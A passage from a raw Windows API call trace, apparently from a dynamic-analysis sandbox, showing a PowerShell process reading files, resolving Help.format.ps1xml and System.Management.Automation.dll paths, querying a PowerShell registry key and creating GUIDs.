lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.578] GetLastError () returned 0x0 [0062.578] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.579] GetLastError () returned 0x0 [0062.579] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.579] GetLastError () returned 0x0 [0062.580] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.580] GetLastError () returned 0x0 [0062.580] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.580] GetLastError () returned 0x0 [0062.580] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.580] GetLastError () returned 0x0 [0062.580] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.580] GetLastError () returned 0x0 [0062.581] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.581] GetLastError () returned 0x0 [0062.581] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.581] GetLastError () returned 0x0 [0062.581] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.582] GetLastError () returned 0x0 [0062.582] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.582] GetLastError () returned 0x0 [0062.584] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.584] GetLastError () returned 0x0 [0062.585] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.585] GetLastError () returned 0x0 [0062.585] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.585] GetLastError () returned 0x0 [0062.585] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.585] GetLastError () returned 0x0 [0062.585] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.585] GetLastError () returned 0x0 [0062.585] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.585] GetLastError () returned 0x0 [0062.586] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.586] GetLastError () returned 0x0 [0062.586] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.586] GetLastError () returned 0x0 [0062.586] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.586] GetLastError () returned 0x0 [0062.586] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.586] GetLastError () returned 0x0 [0062.586] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.586] GetLastError () returned 0x0 [0062.587] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.587] GetLastError () returned 0x0 [0062.587] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.587] GetLastError () returned 0x0 [0062.587] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.587] GetLastError () returned 0x0 [0062.587] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.587] GetLastError () returned 0x0 [0062.587] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.587] GetLastError () returned 0x0 [0062.592] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.592] GetLastError () returned 0x0 [0062.592] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.592] GetLastError () returned 0x0 [0062.592] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.592] GetLastError () returned 0x0 [0062.592] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.592] GetLastError () returned 0x0 [0062.593] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.593] GetLastError () returned 0x0 [0062.593] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.593] GetLastError () returned 0x0 [0062.593] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.593] GetLastError () returned 0x0 [0062.601] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.601] GetLastError () returned 0x0 [0062.602] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.602] GetLastError () returned 0x0 [0062.602] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.602] GetLastError () returned 0x0 [0062.602] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.602] GetLastError () returned 0x0 [0062.602] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.602] GetLastError () returned 0x0 [0062.602] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.602] GetLastError () returned 0x0 [0062.603] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.603] GetLastError () returned 0x0 [0062.603] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.603] GetLastError () returned 0x0 [0062.603] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.603] GetLastError () returned 0x0 [0062.603] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.603] GetLastError () returned 0x0 [0062.603] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.603] GetLastError () returned 0x0 [0062.604] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.604] GetLastError () returned 0x0 [0062.604] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.604] GetLastError () returned 0x0 [0062.604] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.604] GetLastError () returned 0x0 [0062.604] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.604] GetLastError () returned 0x0 [0062.604] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.605] GetLastError () returned 0x0 [0062.605] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.605] GetLastError () returned 0x0 [0062.605] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.605] GetLastError () returned 0x0 [0062.605] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.605] GetLastError () returned 0x0 [0062.605] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.605] GetLastError () returned 0x0 [0062.606] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.606] GetLastError () returned 0x0 [0062.606] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.606] GetLastError () returned 0x0 [0062.606] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.606] GetLastError () returned 0x0 [0062.606] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0xf37, lpOverlapped=0x0) returned 1 [0062.606] GetLastError () returned 0x0 [0062.606] ReadFile (in: hFile=0x350, lpBuffer=0x2e9177b, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e9177b*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.606] GetLastError () returned 0x0 [0062.606] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.606] GetLastError () returned 0x0 [0062.607] CloseHandle (hObject=0x350) returned 1 [0062.607] GetLastError () returned 0x0 [0062.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e234, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.607] GetLastError () returned 0x0 [0062.607] SetErrorMode (uMode=0x1) returned 0x1 [0062.607] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2eb30a0 | out: lpFileInformation=0x2eb30a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0062.607] GetLastError () returned 0x0 [0062.607] SetErrorMode (uMode=0x1) returned 0x1 [0062.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.607] GetLastError () returned 0x0 [0062.607] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e658 | out: phkResult=0x14e658*=0x350) returned 0x0 [0062.607] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x0, lpcbData=0x14e69c*=0x0 | out: lpType=0x14e6a0*=0x1, lpData=0x0, lpcbData=0x14e69c*=0x56) returned 0x0 [0062.607] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x257278, lpcbData=0x14e69c*=0x56 | out: lpType=0x14e6a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e69c*=0x56) returned 0x0 [0062.608] RegCloseKey (hKey=0x350) returned 0x0 [0062.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.608] GetLastError () returned 0x0 [0062.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.608] GetLastError () returned 0x0 [0062.616] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xb51f5b20, Data2=0x3ccf, Data3=0x4f1f, Data4=([0]=0xb5, [1]=0xc8, [2]=0xbb, [3]=0x65, [4]=0x7e, [5]=0xd2, [6]=0xb4, [7]=0x93))) returned 0x0 [0062.616] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xbf00634c, Data2=0x5406, Data3=0x4d2e, Data4=([0]=0x93, [1]=0x8b, [2]=0x8e, [3]=0x9e, [4]=0xa3, [5]=0xb3, [6]=0x4d, [7]=0xde))) returned 0x0 [0062.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.616] GetLastError () returned 0x0 [0062.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.616] GetLastError () returned 0x0 [0062.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.616] GetLastError () returned 0x0 [0062.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.616] GetLastError () returned 0x0 [0062.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.653] GetLastError () returned 0x0 [0062.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.653] GetLastError () returned 0x0 [0062.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.653] GetLastError () returned 0x0 [0062.653] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xf604407c, Data2=0x8010, Data3=0x4ec9, Data4=([0]=0xaf, [1]=0x3a, [2]=0xd1, [3]=0xde, [4]=0xa0, [5]=0xa4, [6]=0x4b, [7]=0x1b))) returned 0x0 [0062.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.653] GetLastError () returned 0x0 [0062.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.653] GetLastError () returned 0x0 [0062.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.653] GetLastError () returned 0x0 [0062.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.654] GetLastError () returned 0x0 